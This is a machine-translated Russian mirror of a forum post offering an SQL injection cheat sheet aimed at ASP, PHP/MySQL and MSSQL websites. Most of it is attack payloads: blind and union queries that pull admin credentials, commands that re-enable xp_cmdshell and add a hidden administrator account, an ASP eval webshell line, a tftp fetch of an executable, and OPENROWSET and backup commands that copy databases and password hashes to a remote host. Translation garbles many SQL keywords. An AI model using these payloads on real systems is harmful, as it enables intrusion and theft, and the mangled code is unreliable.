Эта статья является зеркальной статьёй машинного перевода, пожалуйста, нажмите здесь, чтобы перейти к оригиналу.

Вид: 20889|Ответ: 2

[Безопасная связь] Книга инъекций SQL - Полный контакт уязвимости инъекции ASP

[Скопировать ссылку]
Опубликовано 28.09.2015 18:21:41 | | |


MSSQL-запросы к кросс-базе данных (вонючая еда!) Dark)

Выжмите каждую каплю MS SQL

Ссылки на SQL-операторы и объекты набора записей подробно объясняются

О хранящихся процедурах в SQL Server

Создайте вебшелл с помощью mssql-резервного копирования

SQL_Injection продвинутые приложения

Кросс-сайт SQL injection (laokai)

Странная SQL-инъекция (AMANL)

Продвинутая инъекция SQL в приложениях SQL Server

Как использовать SQL-инъекции для прохождения каталогов

Прохождение по техникам инъекции SQL (Переводчик: demonalex)

Некоторые атаки на базы данных SQL

Техника атаки с помощью SQL-инъекций (JSW)

SQL_Injection Продвинутые приложения (APACHY)

Редкие методы инъекции SQL (Guilin Veteran)

Резервная копия корпуса

Поговорим о структуре оператора инъекции php+mysql (Heyhehehehe·≯Super· Привет)

Продвинутая SQL-инъекция с помощью MySQL(angel)

L'injection (My)SQL через PHP

Oracle SQL Language

Энциклопедия ручной инъекции SQL

Требования требуют инструментов: SQL Query Analyzer и SqlExec Sunx Version
==============================================================================================
1. Определить, есть ли точка инъекции
; и 1=1 и 1=2
2. Похоже, название таблицы — это не что иное, как пароль администратора, администратора, пользователя, пропуска и т.д.:
и 0<>(выберите count(*) из *)
и 0<>(выберите count(*) из admin) — Определить, существует ли админ-таблица
3. Угадайте количество счетов. Если вы столкнётесь с 0< вернитесь на правильную страницу 1< верните страницу ошибки, чтобы указать, что количество аккаунтов равно 1
и 0<(выберите count(*) из admin)
и 1<(выбрать count(*) из admin)
4. Угадайте название поля Добавьте имя поля, которое мы думаем в скобках len( ).
и 1=(выберите count(*) из admin, где len(*)>0)–
и 1=(выбрать count(*) из admin, где len(имя поля пользователя)>0)
и 1=(выберите count(*) из admin, где len(_blank>имя поля пароля)>0)
5. Угадайте длину каждого поля Угадайте длину для преобразования >0 до возвращения правильной страницы
и 1=(выбрать count(*) из admin, где len(*)>0)
и 1=(выбрать count(*) из admin, где ошибка len(name)>6)
и 1=(выберите count(*) из admin, где len(name)>5) Правильная длина — 6
и 1=(выбрать count(*) из admin, где len(name)=6) верен
и 1=(выбрать count(*) из admin, где len(password)>11) верен
и 1=(выбрать count(*) из admin, где длина ошибки len(password)>12) равна 12
и 1=(выбрать count(*) из admin, где len(password)=12) верен
6. Угадайте персонажей
и 1=(выберите count(*) из admin, где left(name,1)=a) — угадайте первую цифру учетной записи пользователя
и 1=(выбрать count(*) из admin, где left(name,2)=ab) — угадайте вторую цифру учетной записи пользователя
Просто добавляйте по одному символу, чтобы угадывать, угадайте столько цифр, сколько вы только что угадали, и номер аккаунта появится
(1) Угадайте название стола

Используемые предложения:
и существует (выбрать * из названия таблицы)

Например:
и существует (выбрать * из admin)

Если страница отражает правильное эхо, это значит, что название таблицы, которое мы здесь угадали, правильно, а если страница ошибочна, то это значит, что название таблицы, которое мы здесь написали, неверно

, затем измените название таблицы и продолжайте угадывать, пока не угадаете.

Обычно часто используемые имена таблиц включают admin, manage, user или put it in tool run
(2) Угадайте поле

Используемые предложения:
и существует (выберите имя поля из имени таблицы)

Например:
и существует (выберите имя пользователя из admin)

Здесь, если таблица администратора — это та, которую я правильно угадал выше, я хочу определить, существует ли поле имени пользователя, мне нужно использовать этот оператор, если страница

Если эхо лиц верно, это значит, что название поля, которое мы здесь угадали, правильно, а если страница ошибочна, то название поля, которое мы здесь записали, неверно

, затем измените название поля и продолжайте угадывать, пока не угадаете.

Обычно распространённые имена полей включают имя пользователя, пароль, пользователь, пропуск, имя, пропуск, инвалидность, usr, psd и другие поля
(3) порядок по

Order by — это сумма всех полей на этой странице, готовящаяся к следующему совместному запросу
(4) Профсоюзный выбор

  1. Если вы поддерживаете совместный запрос, найдите бит отображения http://www.xxx.com/product_show.asp?id=1 и выберите объединение 1=2

1,2,3,4,5,6,7,8,9,10,11
Предположим, что биты дисплея равны 5,6. Далее нужно заменить имена полей, соответствующие логину и паролю администратора, на позицию бита отображения здесь
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 от admin нашёл фоновый логин
  2. Если совместный запрос не поддерживается
Имя пользователя и пароль администратора невозможно получить без совместного запроса — с помощью дословного декодирования Ascii
Два
  Используйте order by для оценки количества битов в таблице, и если не работает, используйте объединённый выбор, чтобы упорядочить их по одному, здесь мы предполагаем, что это 8 бит
Три
  Используйте совместный запрос для определения битов отображения
Четыре
  Используйте бит отображения, чтобы найти имя базы данных, версию базы данных, можно ввести 5.0 или выше
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Пять
  С именем базы данных можно начать получать схему названия таблицы =, затем значение HEX имени базы данных и угадывать название таблицы
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+из+information_schema.столбцов+где+
table_schema=0x666C6965725F6462617365
Шесть
  Имя анализируемой таблицы определяет HEX-значение таблицы администратора name=table name и угадает поля в таблице
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(РАЗБОРЧИВО

+column_name),8+
с+information_schema.столбцов+где+table_name=0x7075625F7765626D6173746572
Семь
  После того как поля появится в таблице администратора, давайте узнаем их содержимое
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(РАЗБОРЧИВО

+имя пользователя,
0x5f,userpwd),8+from+pub_webmaster
Восемь
  Инструмент сканирует фон: войдите в систему, чтобы загрузить троян после его обнаружения, и если не можете найти robots.txt файл, доступны
Девять
  Если вы не сможете найти фон, пароль администратора MYSQL будет раскрыт
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(пользователь,пароль),8+from+mysql.user
Десять
  Случайно получите доступ к пути, и обратная связь — страница 404 по умолчанию в IIS6, что указывает на то, что сервер сайта: Windows+IIS6+php+MySQL среда
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Этот путь позволяет получить информацию о конфигурации сайта.
  Постройте высказывания http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Одиннадцать
  Проанализируйте код и найдите фоновый адрес
  На первом этапе нужно получить длину полей в таблице
Используемые утверждения:
и (выберите топ-1 len (название поля) из названия таблицы)>0
Как что:
и (выбрать топ-1 LEN(admin_name) из admin)>0
Страница отображается нормально, длина поля admin_name больше 0, и я пришлю:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
На странице отображается ошибка, указывающая, что поле находится от 0 до 10, а длина — 5 по дихотомии
Используя тот же метод для определения длины поля для пароля администратора, я получаю длину 16
  Шаг 2
Теперь перейдём ко второму этапу: возьмём определённый символ в поле и получим ASCII-код этого символа, который используется

Заявление:
и (выберите топ-1 ASC (полуполе (имя поля, N,1)) из названия таблицы)>0
Позвольте рассмотреть это предложение отдельно, сначала внутреннюю функцию mid(имя пользователя, 1,1), которая является первым символом поля admin_name N

указывает, что первые несколько символов должны быть перехвачены,
Затем внешняя функция asc(), которая преобразует символы, перехваченные промежуточной функцией, в ASCII-код — самый внешний верхний 1 — представляет собой поле возврата первого места

Значит, рекорд,
«>0» в конце — это сравнение конвертированного ASCII-кода с этим числом и, наконец, получение перехвата, постоянно меняя последнее значение

Узнайте конкретную характеристику этого персонажа
ASCII-код
Публикация:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Страница отображается нормально, что означает, что ASCII-код этого символа превышает 30.
Публикация:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Страница отображается нормально, что означает, что ASCII-код этого символа превышает 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII-код, который я получил для этого персонажа, — 97
Сравните таблицу ASCII:
Можно сделать вывод, что первый символ — это «a».
Затем я оценю ASCII-код второго символа.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Страница отображается нормально, что означает, что ASCII-код символа превышает 90, и последнее значение всегда меняется
Тот же метод дал пароль администратора, и результат был таким:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
и 1=(выберите топ-1 count(*) из Admin, где Asc(mid(pass,5,1))=51) –
Этот запрос может угадать китайского пользователя и _blank> пароль. Просто замените следующие номера на китайский код ASSIC

Конвертировать в персонажей.

группа по users.id имеет 1=1–www.myhack58.com
группа по users.id, user.username, users.password, users.privs с 1=1–
; Вставьте значения пользователя (666, атакующий, foobar 0xffff)–

UNION Select TOP 1 COLUMN_blank>_NAME ИЗ INFORMATION_blank>_SCHEMA. КОЛОНКИ Где

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME ИЗ INFORMATION_blank>_SCHEMA. КОЛОНКИ Где

TABLE_blank>_NAME=logintable Где COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME ИЗ INFORMATION_blank>_SCHEMA. КОЛОНКИ Где

TABLE_blank>_NAME=logintable Где COLUMN_blank>_NAME NOT IN

(login_blank>_id,login_blank>_name)-
UNION Выберите TOP 1 login_blank>_name FROM logintable-
UNION Выбрать ТОП 1 пароль ИЗ таблицы входа, где login_blank>_name=Рахул–
Посмотрите патч, который играет сервер _blank> = неправильный патч SP4, чёрная полоса безопасности
и 1=(выберите @@VERSION)–

Посмотрите разрешения учетной записи _blank> базы данных, и она возвращает нормальное состояние, доказывая, что это разрешение системного администратора роли _blank> сервера.
и 1=(Выберите IS_blank>_SRVROLEMEMBER(системный администратор))–

Определите, что аккаунт базы данных _blank> связан. (Использовать аккаунт SA для подключения и вернуть нормальный = доказать, что подключённый аккаунт — это SA)
и sa=(Select System_blank>_user)–
и user_blank>_name()=dbo–
и 0<>(выберите user_blank>_name()–

Посмотрите, удаляет ли xp_blank>_cmdshell
и 1=(Выберите count(*) ИЗ master.dbo.sysobjects, где xtype = X И имя = xp_blank>_cmdshell)



xp_blank>_cmdshell удаляется, восстанавливается и поддерживает абсолютное восстановление пути
; ИСПОЛНИТЕЛЬНЫЙ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== разрешение базы данных открывается в физическом путевном коде сайта

==========================================================================
1、таблица дропа [jm_tmp]; Создать таблицу [jm_tmp](значение navrchar(4000) null,данные nvarchar(4000)

null) -- Создать таблицу


2、 удалить [jm_tmp]; Вставьте [jm_tmp] исполнительный master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Вставьте каталог сайта в поле таблицы


3、и (выбрать топ-1 кастинг([данные] как nvarchar(4000) персонаж(124) из [jm_tmp] по [data]

desc)=0 '//Открытое поле


4. Выбросить таблицу [jm_tmp] — удалить эту таблицу.
Командование, чтобы получить снаряд
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Другие маршруты станций
======================load_file() Часто используемая конфиденциальная информация ===========================================
1、 замена(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,115,119,100)),char(60),char(32))
Два вышеуказанных варианта предназначены для просмотра PHP-файла, который полностью отображает код. Иногда некоторые символы не заменяются, например, возвращается «<» вместо «пробел»

Веб-страница. И код нельзя просмотреть.

3. load_file(char(47)) может указать корневую директорию систем FreeBSD и Sunos

4. Просмотр конфигурационного файла виртуального хоста Linux APACHE в /etc/httpd/conf/httpd.conf или /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf или C:\apache\conf\httpd.conf для просмотра WINDOWS

System Apache File

6. c:/Resin-3.0.14/conf/resin.conf Просмотрите информацию о конфигурации смоляных файлов на сайте, разработанном jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf для просмотра виртуального хоста JSP, настроенного на Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin взрывной путь

11. C:\Windows\system32\inetsrv\MetaBase.xml Просмотр файла конфигурации виртуального хоста IIS

12. /usr/local/resin-3.0.22/conf/resin.conf для просмотра конфигурационного файла RESIN для версии 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf То же самое, что и выше

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Виртуальный хост APASHE

15. /etc/sysconfig/iptables зависит от политики файрвола

16. /usr/local/app/php5 b/php.ini PHP-эквивалентные настройки

17. /etc/my.cnf конфигурационный файл MYSQL

18. /etc/redhat-версия системы Red Hat

19 、C:\mysql\data\mysql\user. MYD существует в пользовательском пароле системы MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 для просмотра IP.

21. /usr/local/app/php5 b/php.ini //PHP, связанные настройки

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // настройки виртуального сайта

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue отображает информацию о распределении ядра Linux

26、/etc/ftpuser

27. Проверьте операционный журнал под LINUX user.bash_history или .bash_profile

28、/и т.д./ссх/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Экспериментируйте с обратным PING самостоятельно.
; используйте мастера; объявить @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Исполнительный

sp_blank>_oamethod @s,"run", NULL,"cmd.exe /c ping 192.168.0.1"; –

Добавить аккаунт
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Создайте виртуальный каталог E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Атрибуты доступа: (с записью в веб-шелл)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Специальный _blank> для burst библиотеки: :%5c=\ или измените %5 с помощью / и \ для коммита
и 0<>(выберите топ-1 путь из newtable)–

Получите название базы данных (от 1 до 5 — это идентификаторы системы, и вы можете оценивать их выше 6)
и 1=(выберите имя из master.dbo.sysdatabases, где dbid=7)–
и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=6)
Отправить dbid по очереди = 7,8,9.... Узнайте больше _blank> названия баз данных

и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=U) вводятся в таблицу с предположением администратора
и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=вы и имя не входит в (Admin)).

Другие столы.
и 0<>(выберите count(*) из bbs.dbo.sysobjects, где xtype=вы и name=admin
и uid>(str(id))) Численное значение UID предполагается как 18779569 uid=id
и 0<>(выберите топ-1 имя из bbs.dbo.syscolumns, где id=18779569) получают поле admin, false

Поставьте на user_blank>_id
и 0<>(выберите имя верхнего 1 из столбцов bbs.dbo.sys, где id=18779569 и имя не входит
(id,...)) чтобы экспонировать другие поля
и 0<(выберите user_blank>_id на сайте BBS.dbo.admin, где имя пользователя>1) для получения имени пользователя
В свою очередь, вы можете получить _blank> пароль。。。。。 Предположим, что есть поля, такие как user_blank>_id имя пользователя, пароль и т.д.

и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=6)
и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=U) для получения названия таблицы
и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=вы и name not in(Address))
и 0<>(выберите count(*) из bbs.dbo.sysobjects, где xtype=you и name=admin и uid>(str(id)))

Определите значение id
и 0<>(выберите имя топ-1 из BBS.dbo.syscolumns, где id=773577794) — все поля

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* от admin
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 от admin (union,access тоже прост в использовании)

Получите путь WEB
; Создать таблицу [dbo]. [обмен] ([swappass][char](255)); –
и (выберите топ-1 swappass из swap)=1–
; Создать ТАБЛИЦУ newtable(id int IDENTITY(1,1),paths varchar(500)) Объявить @test varchar(20) exec

Мастер... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=СИСТЕМА

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, значения=@test

OUTPUT вставить значения в paths(paths) (@test)–
; Используйте ku1; –
; создать таблицу CMD (изображение STR); – Создать CMD таблицы типа изображения
1. Способ удалить процесс расширения xp_cmdshell — использовать следующее утверждение:

если существует (выберите * из dbo.sysobjects, где id=object_id(N'[dbo].[ xpcmdshell]') и

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
исполнительный sp_dropextendedproc N'[DBO]. [xp_cmdshell]'

2. Способ добавить процесс xp_cmdshell расширения — использовать следующее утверждение:

(1) Анализатор SQL-запросов

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Сначала заполните % в опции Формат SqlExec Sunx Version и введите их в опцию CMD

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

Удалить

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Существует xp_blank>_cmdshell процессов тестирования:
; Исполнительный мастер... xp_blank>_cmdshell директор
; Исполнительный master.dbo.sp_blank>_addlogin Цзяоняна$; – Добавить SQL-аккаунты
; исполнительный master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; исполнительный master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Исполнительный мастер... xp_blank>_servicecontrol начать, расписание начала _blank> службы
Исполнительный мастер... xp_blank>_servicecontrol старт, сервер
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Исполнительный мастер... xp_blank>_cmdshell tftp - i youip get file.exe – Загрузка файлов с помощью TFTP

; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir C:\
; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\
; объявить @a; множество @a=db_blank>_name(); Резервное копирование базы данных @a в disk=ваш IP Ваша общая директория bak.dat
Если ограничены — да.
выберите * из openrowset(_blank>sqloledb,server; sa; ,выберите ОК! Исполнительный

master.dbo.sp_blank>_addlogin Хакс)

Структура запроса:
Выберите * ИЗ новостей Где id=... И тема=... И .....
adminand 1=(выберите count(*) из [user], где username=victim и right(left(userpass,01),1)=1)

и userpass <>
выберите 123; –
; используйте мастера; –
:a или имя вроде fff%; – Показывает пользователя с именем ffff.
и 1<>(выбрать count(email) от [пользователя]); –
; Обновление [пользователей] Set email=(выберите имя верхнего 1 из sysobjects, где xtype=вы и статус>0), где

name=ffff; –
; Обновить [пользователи] Установить email=(выбрать идентификатор топ-1 из sysobjects, где xtype=вы и name=ad) где

name=ffff; –
; Обновить [пользователи] Set email=(выберите имя верхнего 1 из sysobjects, где xtype=вы и id>581577110)

где name=ffff; –
; Обновить [users] Set email=(выберите Top 1 count(ID) из пароля), где name=FFFF; –
; Обновить [пользователи] Установить email=(выберите топ-1 PWD из пароля, где id=2), где name=ffff; –
; Обновить [пользователей] Установить email=(выберите имя верхнего 1 из пароля, где id=2), где name=ffff; –
Вышеуказанное утверждение — получить первую пользовательскую таблицу в базе данных _blank> и ввести имя таблицы в поле электронной почты пользователя ffff.
Просмотрев профиль пользователя ffff, можно получить первую таблицу под названием AD
Затем получите ID этой таблицы согласно рекламе названия таблицы, чтобы получить название второй таблицы

Вставьте значения пользователей (666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Вставить значения пользователей(667,123,123,0xffff)–
Вставьте в пользовательские значения (123, admin–, password, 0xffff)–
; и пользователь>0
; и (выбрать count(*) из sysobjects)>0
; и (выбрать count(*) из mysysobjects)>0 // для базы данных access_blank>

Перечислите название таблицы данных
; Обновить AAA-сет AAA=(выберите имя топ-1 из sysobjects, где xtype=вы и статус>0); –
Здесь название первой таблицы обновляется в поле AAA.
Прочитайте первую таблицу, и вторую можно читать вот так (добавить и назвать по состоянию<> назвать только что полученную таблицу).
; Обновление AAA, установка AAA=(выберите имя верхнего 1 из sysobjects, где xtype=вы и статус>0 и

имя<>голос); –
Тогда id=1552 и существует (выберите * из aaa, где aaa>5)
Читайте вторую таблицу и читайте её по одному, пока не останется ни одной таблицы.
Поле чтения выглядит так:
; обновить набор AAA=(выбрать топ-1 col_blank>_name(object_blank>_id(название таблицы),1)); –
Тогда id=152 и exists(выберите * из aaa, где aaa>5) получает ошибку и получает имя поля
; обновить AAA набор aaa=(выбрать топ-1 col_blank>_name(object_blank>_id(название таблицы),2)); –
Тогда id=152 и exists(выберите * из aaa, где aaa>5) получает ошибку и получает имя поля

[Получить название таблицы данных] [Обновите значение поля до имени таблицы, а затем прочитайте значение этого поля, чтобы получить имя таблицы]
Поле набора имён таблицы обновлений=(выберите имя верхнего 1 из системных объектов, где xtype=вы и статус>0 [ и имя<>

Имя таблицы, которое вы получаете, Find one plus one]) [ где condition] выберите имя топ-1 из sysobjects, где xtype=вы и

статус>0 и имя отсутствует в (таблица 1, таблица 2,...)
Создание учетной записи администратора базы данных и учетной записи системного администратора _blank> _blank> внедрение уязвимостей через SQLSERVER [Текущая учётная запись должна быть группой SYSADMIN]

[Получить имя поля таблицы данных] [Обновить значение поля до имени поля, а затем прочитать значение этого поля, чтобы получить имя]
Update table name set field=(выберите верхнюю 1 col_blank>_name(object_blank>_id (название таблицы данных для запроса), столбец поля

Например: 1) [ где условие]

Обход обнаружения IDS [с использованием переменных]
; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir C:\
; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\

1. Открыть базу данных удалённых _blank>
Базовый синтаксис
выбрать * из OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, выберите * из таблицы1 )
Параметры: (1) Имя провайдера OLEDB
2. Параметр строки соединения может быть любым портом для подключения, например
выбрать * из OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,

выбрать * из таблицы
3. Скопируйте всю базу данных _blank> целевой хоста и вставьте все удалённые таблицы в локальную таблицу.

Базовый синтаксис:
вставить в OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, выберите * из таблицы1) выберите

* из таблицы 2
Этот строчный оператор копирует все данные из таблицы таблицы 2 на целевом хосте в таблицу таблицы 1 в удалённой базе данных _blank>. Соответствующие ремонты в практическом применении

Измените IP-адрес и порт строки подключения, чтобы указать нужное место, например:
вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* из таблицы1) выбрать * из таблицы2
вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* из _blank>_sysdatabases)
Выберите * из master.dbo.sysdatabases
вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* из _blank>_sysobjects)
выберите * из user_blank>_database.dbo.sysobjects
вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* из _blank>_syscolumns)
выберите * из user_blank>_database.dbo.syscolumns
Воспроизвести _blank> базу данных:
вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* из таблицы1) выбрать * из базы данных.. Таблица1
вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select

* из таблицы2) выбрать * из базы данных.. Таблица2

Хэш пароля, копирующего хэш-таблицу (HASH) для входа _blank> пароля, хранится в sysxlogins. Вот как:
вставить в OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,выберите * из _blank>_sysxlogins)

выберите * из database.dbo.sysxlogins
Когда получишь хэш, можно перебрать его силой.

Чтобы пройти по каталогу: Сначала создайте временную таблицу: temp
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; вставьте временный исполнительный master.dbo.xp_blank>_availablemedia; – Получить все текущие диски
; вставить в temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Получить список подкаталогов
; вставить в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Получить структуру дерева каталогов для всех подкаталогов,

Объедините дюймы с температурной таблицей
; Вставьте в temp(id) exec master.dbo.xp_blank>_cmdshell введите C:\web\index.asp; – Просмотр файла

Содержание
